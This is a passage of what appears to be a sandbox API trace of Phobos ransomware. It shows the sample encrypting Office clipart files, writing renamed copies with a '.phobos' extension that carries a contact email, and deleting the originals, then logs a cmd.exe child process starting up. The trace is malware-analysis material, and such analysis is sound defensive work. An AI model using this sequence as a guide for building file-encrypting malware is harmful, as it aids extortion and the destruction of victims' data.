dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.206] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0140.206] CryptDestroyKey (hKey=0x752a18) returned 1 [0140.206] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0140.206] CryptDestroyKey (hKey=0x752f98) returned 1 [0140.206] CloseHandle (hObject=0x2b4) returned 1 [0140.206] CloseHandle (hObject=0x310) returned 1 [0140.207] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0140.208] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0140.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0140.208] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=64767) returned 1 [0140.208] CloseHandle (hObject=0x310) returned 1 [0140.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0140.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0140.208] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.208] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0140.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.209] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0140.209] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0140.209] ReadFile (hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0) Process: id = "16" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x30f50000" os_pid = "0xf50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf38" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 185 os_tid = 0xf54 [0127.724] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6c4f00000 [0127.724] __set_app_type (_Type=0x1) [0127.724] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6c4f16d00) returned 0x0 [0127.724] __getmainargs (in: _Argc=0x7ff6c4f39200, _Argv=0x7ff6c4f39208, _Env=0x7ff6c4f39210, _DoWildCard=0, _StartInfo=0x7ff6c4f3921c | out: _Argc=0x7ff6c4f39200, _Argv=0x7ff6c4f39208, _Env=0x7ff6c4f39210) returned 0 [0127.725] _onexit (_Func=0x7ff6c4f17fd0) returned 0x7ff6c4f17fd0 [0127.725] _onexit (_Func=0x7ff6c4f17fe0) returned 0x7ff6c4f17fe0 [0127.725] _onexit (_Func=0x7ff6c4f17ff0) returned 0x7ff6c4f17ff0 [0127.726] _onexit (_Func=0x7ff6c4f18000) returned 0x7ff6c4f18000 [0127.726] _onexit (_Func=0x7ff6c4f18010) returned 0x7ff6c4f18010 [0127.727] _onexit (_Func=0x7ff6c4f18020) returned 0x7ff6c4f18020 [0127.727] GetCurrentThreadId () returned 0xf54 [0127.727] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf54) returned 0x70 [0127.727] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffcc00e0000 [0127.727] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="SetThreadUILanguage") returned 0x7ffcc00fa990 [0127.727] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.729] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0127.729] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x158ecffd58 | out: phkResult=0x158ecffd58*=0x0) returned 0x2 [0127.729] VirtualQuery (in: lpAddress=0x158ecffd44, lpBuffer=0x158ecffcc0, dwLength=0x30 | out: lpBuffer=0x158ecffcc0*(BaseAddress=0x158ecff000, AllocationBase=0x158ec00000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.729] VirtualQuery (in: lpAddress=0x158ec00000, lpBuffer=0x158ecffcc0, dwLength=0x30 | out: lpBuffer=0x158ecffcc0*(BaseAddress=0x158ec00000, AllocationBase=0x158ec00000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.729] VirtualQuery (in: lpAddress=0x158ec01000, lpBuffer=0x158ecffcc0, dwLength=0x30 | out: lpBuffer=0x158ecffcc0*(BaseAddress=0x158ec01000, AllocationBase=0x158ec00000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.729] VirtualQuery (in: lpAddress=0x158ec04000, lpBuffer=0x158ecffcc0, dwLength=0x30 | out: lpBuffer=0x158ecffcc0*(BaseAddress=0x158ec04000, AllocationBase=0x158ec00000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.729] VirtualQuery (in: lpAddress=0x158ed00000, lpBuffer=0x158ecffcc0, dwLength=0x30 | out: lpBuffer=0x158ecffcc0*(BaseAddress=0x158ed00000, AllocationBase=0x158ed00000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.730] GetConsoleOutputCP () returned 0x1b5 [0127.730] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0127.731] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6c4f28150, Add=1) returned 1 [0127.731] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.731] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6c4f3fc04 | out: lpMode=0x7ff6c4f3fc04) returned 0 [0127.731] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.731] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6c4f3fc00 | out: lpMode=0x7ff6c4f3fc00) returned 0 [0127.731] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.731] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0127.731] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.731] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6c4f3fc08 | out: lpMode=0x7ff6c4f3fc08) returned 0 [0127.731] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.731] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6c4f3fc0c | out: lpMode=0x7ff6c4f3fc0c) returned 0 [0127.731] GetEnvironmentStringsW () returned 0x20992a65670* [0127.731] GetProcessHeap () returned 0x20992a60000 [0127.731] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xa7c) returned 0x20992a66100 [0127.731] FreeEnvironmentStringsA (penv="A") returned 1 [0127.731] GetProcessHeap () returned 0x20992a60000 [0127.731] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x8) returned 0x20992a63ce0 [0127.731] GetEnvironmentStringsW () returned 0x20992a65670* [0127.731] GetProcessHeap () returned 0x20992a60000 [0127.731] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xa7c) returned 0x20992a66b90 [0127.732] FreeEnvironmentStringsA (penv="A") returned 1 [0127.732] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x158ecfec08 | out: phkResult=0x158ecfec08*=0x7c) returned 0x0 [0127.732] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x0, lpData=0x158ecfec20*=0x4, lpcbData=0x158ecfec04*=0x1000) returned 0x2 [0127.732] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x1, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.732] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x0, lpData=0x158ecfec20*=0x1, lpcbData=0x158ecfec04*=0x1000) returned 0x2 [0127.732] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x0, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x40, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x40, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x0, lpData=0x158ecfec20*=0x40, lpcbData=0x158ecfec04*=0x1000) returned 0x2 [0127.733] RegCloseKey (hKey=0x7c) returned 0x0 [0127.733] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x158ecfec08 | out: phkResult=0x158ecfec08*=0x7c) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x0, lpData=0x158ecfec20*=0x40, lpcbData=0x158ecfec04*=0x1000) returned 0x2 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x1, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x0, lpData=0x158ecfec20*=0x1, lpcbData=0x158ecfec04*=0x1000) returned 0x2 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x0, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x9, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x4, lpData=0x158ecfec20*=0x9, lpcbData=0x158ecfec04*=0x4) returned 0x0 [0127.733] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x158ecfec00, lpData=0x158ecfec20, lpcbData=0x158ecfec04*=0x1000 | out: lpType=0x158ecfec00*=0x0, lpData=0x158ecfec20*=0x9, lpcbData=0x158ecfec04*=0x1000) returned 0x2 [0127.733] RegCloseKey (hKey=0x7c) returned 0x0 [0127.733] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7aae6 [0127.733] srand (_Seed=0x5ce7aae6) [0127.733] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0127.733] malloc (_Size=0x4000) returned 0x20992d554f0 [0127.733] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0127.733] malloc (_Size=0xffce) returned 0x20992c30080 [0127.734] ??_V@YAXPEAX@Z () returned 0x20992c30080 [0127.734] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c30080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.734] malloc (_Size=0xffce) returned 0x20992c40060 [0127.734] ??_V@YAXPEAX@Z () returned 0x20992c40060 [0127.735] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20992c40060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0127.735] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0127.735] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0127.735] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0127.735] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0127.735] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0127.735] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0127.735] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0127.735] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0127.735] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0127.735] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0127.735] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0127.736] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0127.736] GetProcessHeap () returned 0x20992a60000 [0127.736] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66100) returned 1 [0127.736] GetEnvironmentStringsW () returned 0x20992a65670* [0127.736] GetProcessHeap () returned 0x20992a60000 [0127.736] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xa94) returned 0x20992a67620 [0127.736] FreeEnvironmentStringsA (penv="A") returned 1 [0127.736] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0127.736] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0127.736] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0127.736] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0127.736] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0127.736] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0127.736] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0127.736] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0127.736] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0127.736] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0127.736] malloc (_Size=0xffce) returned 0x20992c50040 [0127.736] ??_V@YAXPEAX@Z () returned 0x20992c50040 [0127.737] GetProcessHeap () returned 0x20992a60000 [0127.737] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x38) returned 0x20992a63d30 [0127.737] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c50040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.737] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x20992c50040, lpFilePart=0x158ecff780 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x158ecff780*="system32") returned 0x13 [0127.737] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0127.738] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x158ecff4b0 | out: lpFindFileData=0x158ecff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x20992a680c0 [0127.738] FindClose (in: hFindFile=0x20992a680c0 | out: hFindFile=0x20992a680c0) returned 1 [0127.738] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x158ecff4b0 | out: lpFindFileData=0x158ecff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x8187ef5e, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x8187ef5e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x20992a680c0 [0127.738] FindClose (in: hFindFile=0x20992a680c0 | out: hFindFile=0x20992a680c0) returned 1 [0127.738] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0127.738] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0127.738] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0127.738] GetProcessHeap () returned 0x20992a60000 [0127.738] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a67620) returned 1 [0127.738] GetEnvironmentStringsW () returned 0x20992a65670* [0127.738] GetProcessHeap () returned 0x20992a60000 [0127.738] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xac4) returned 0x20992a67620 [0127.738] FreeEnvironmentStringsA (penv="=") returned 1 [0127.738] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c30080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.738] GetProcessHeap () returned 0x20992a60000 [0127.738] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a63d30) returned 1 [0127.738] ??_V@YAXPEAX@Z () returned 0x1 [0127.738] ??_V@YAXPEAX@Z () returned 0x1 [0127.738] GetProcessHeap () returned 0x20992a60000 [0127.738] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x4016) returned 0x20992a680f0 [0127.739] GetProcessHeap () returned 0x20992a60000 [0127.739] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a680f0) returned 1 [0127.739] GetConsoleOutputCP () returned 0x1b5 [0127.739] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0127.739] GetUserDefaultLCID () returned 0x409 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6c4f3bb78, cchData=8 | out: lpLCData=":") returned 2 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x158ecffb40, cchData=128 | out: lpLCData="0") returned 2 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x158ecffb40, cchData=128 | out: lpLCData="0") returned 2 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x158ecffb40, cchData=128 | out: lpLCData="1") returned 2 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6c4f3bb68, cchData=8 | out: lpLCData="/") returned 2 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6c4f3bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6c4f3bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6c4f3ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6c4f3ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6c4f3ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6c4f3b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6c4f3b980, cchData=32 | out: lpLCData="Sun") returned 4 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6c4f3bb58, cchData=8 | out: lpLCData=".") returned 2 [0127.740] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6c4f3bb40, cchData=8 | out: lpLCData=",") returned 2 [0127.740] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0127.741] GetProcessHeap () returned 0x20992a60000 [0127.741] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x0, Size=0x20c) returned 0x20992a656e0 [0127.742] GetConsoleTitleW (in: lpConsoleTitle=0x20992a656e0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0127.742] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.742] GetFileType (hFile=0x254) returned 0x3 [0127.743] ApiSetQueryApiSetPresence () returned 0x0 [0127.743] ResolveDelayLoadedAPI () returned 0x7ffcb760d990 [0127.753] BrandingFormatString () returned 0x20992a65d60 [0127.761] GetVersion () returned 0x3ad7000a [0127.761] _vsnwprintf (in: _Buffer=0x158ecffca0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x158ecffc38 | out: _Buffer="10.0.15063") returned 10 [0127.761] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.761] GetFileType (hFile=0x254) returned 0x3 [0127.762] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6c4f47f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0127.762] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6c4f47f60, nSize=0x2000, Arguments=0x158ecffc40 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0127.762] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0127.762] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x158ecffb98, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffb98*=0x26, lpOverlapped=0x0) returned 1 [0127.762] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x158ecffc68 | out: _Buffer="\r\n") returned 2 [0127.762] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.762] GetFileType (hFile=0x254) returned 0x3 [0127.762] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0127.762] 